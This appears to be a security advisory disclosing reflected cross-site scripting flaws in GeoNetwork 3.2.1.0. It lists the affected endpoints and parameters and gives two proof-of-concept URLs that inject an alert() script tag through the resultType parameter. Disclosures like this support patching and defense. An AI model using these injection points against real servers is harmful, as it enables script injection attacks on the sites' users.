XSS Cross Site Scripting - Reflected

software component: GeoNetwork (opensource)
version: 3.2.1.0
test date: 21.04.2017

concerned parameter:

• /./proxy [url parameter]
• /./srv/eng/thesaurus.download [ref parameter]
• /./srv/ger/info [type parameter]
• /./srv/ger/q [from parameter]
• /./srv/ger/q [resultType parameter]
• /./srv/ger/q [to parameter]
• /./srv/ger/qi [from parameter]
• /./srv/ger/qi [resultType parameter]
• /./srv/ger/qi [to parameter]
• /./srv/ger/suggest [field parameter]
• /./srv/ger/thesaurus.keyword [multiple parameter]
• /./srv/ger/thesaurus.keyword [textgroupOnly parameter]
• /./srv/api/0.1/tools/i18n/db [type parameter]
• /./srv/api/records/22EEE036-ECC1-4168-8AFF-7515C8E83B37/related [type parameter]
• /./srv/api/records/a1a731ba-55a5-4173-8883-c98fb0472b64/related [type parameter]
• /./srv/api/records/d1b8e5dc-98f7-4656-82dd-1d62746f8681/related [type parameter]
• /./srv/api/records/duplicate [isChildOfSource parameter]
• /./srv/api/records/duplicate [isVisibleByAllGroupMembers parameter]
• /./srv/api/records/duplicate [metadataType parameter]
• /./srv/api/records/fc083a83-a047-4b69-b105-15507a4ba951/related [type parameter]
• /./srv/api/registries/vocabularies/search [thesaurus parameter]
• /./srv/api/registries/vocabularies/search [type parameter]
• /./srv/ger/suggest [q parameter]

Proof-of-concept:
example URL [1](srv/ger/q?_cat=Aufkl%C3%83%C2%BFrung,+Milit%C3%83%C2%BFr11&_content_type=json&any=hugo&bucket=s101&facet.q=&fast=index&from=1&orgName=AGES+Abteilung:+Daten,+Statistik+und+Risikobewertung&resultType=detailssst6s%3CScRiPt%3Ealert%28%27XSS%27%29%3C%2fScRiPt%3Es0upb&sortBy=relevance&to=20)
exaple URL [2](srv/ger/qi?_content_type=json&template=s&fast=index&summaryOnly=true&resultType=subtemplatesbkxog%3CScRiPt%3Ealert%281%29%3C%2fScRiPt%3Eakhoh)